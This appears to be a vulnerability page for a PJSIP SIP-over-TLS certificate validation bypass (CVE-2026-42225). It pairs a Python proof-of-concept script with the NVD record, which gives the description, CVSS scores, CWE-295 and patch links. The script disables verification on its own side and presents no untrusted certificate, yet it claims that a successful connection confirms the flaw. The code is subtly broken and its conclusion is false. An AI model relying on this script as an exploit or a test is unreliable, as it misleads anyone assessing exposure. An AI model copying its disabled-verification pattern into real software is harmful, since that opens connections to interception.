CVE-2026-42225

/* * Conceptual PoC for PJSIP Certificate Validation Bypass * This script attempts to connect to a PJSIP server using a self-signed certificate. * If the connection succeeds despite strict server verification settings, the vulnerability is confirmed. */ import socket import ssl # Target PJSIP Server (Example) HOST = '192.168.1.100' PORT = 5061 # Create a socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Wrap socket with SSL using a self-signed certificate (untrusted) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Simulating attacker using invalid cert try: # In a real exploit, the attacker acts as a server or client depending on the scenario # If acting as a client connecting to a vulnerable PJSIP server: ssl_sock = context.wrap_socket(sock, server_hostname=HOST) ssl_sock.connect((HOST, PORT)) print("[+] Connection established. Verification bypass possible.") # Send a simple SIP request to check if accepted request = "OPTIONS sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/TLS 192.168.1.200:5061\r\n\r\n" ssl_sock.send(request.encode()) response = ssl_sock.recv(1024) print(f"[+] Server Response: {response.decode()}") except Exception as e: print(f"[-] Connection failed or rejected: {e}") finally: sock.close()

{"cve": {"id": "CVE-2026-42225", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:43.960", "lastModified": "2026-05-12T15:53:39.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PJSIP is a free and open source multimedia communication library written in C. Prior to version 2.17, on GnuTLS builds, the SIP TLS transport (sip_transport_tls) can accept connections with invalid or untrusted certificates even when the application explicitly enables certificate verification via verify_server = PJ_TRUE or verify_client = PJ_TRUE. This issue has been patched in version 2.17."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teluu:pjsip:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17", "matchCriteriaId": "3CEC20D0-E450-41AD-BCF9-4E407594F2A7"}]}]}], "references": [{"url": "https://github.com/pjsip/pjproject/commit/ef684252bb62b0716675b6e99ad7fe4c90e28920", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pjsip/pjproject/releases/tag/2.17", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pjsip/pjproject/security/advisories/GHSA-x2fv-6j6c-pxmx", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}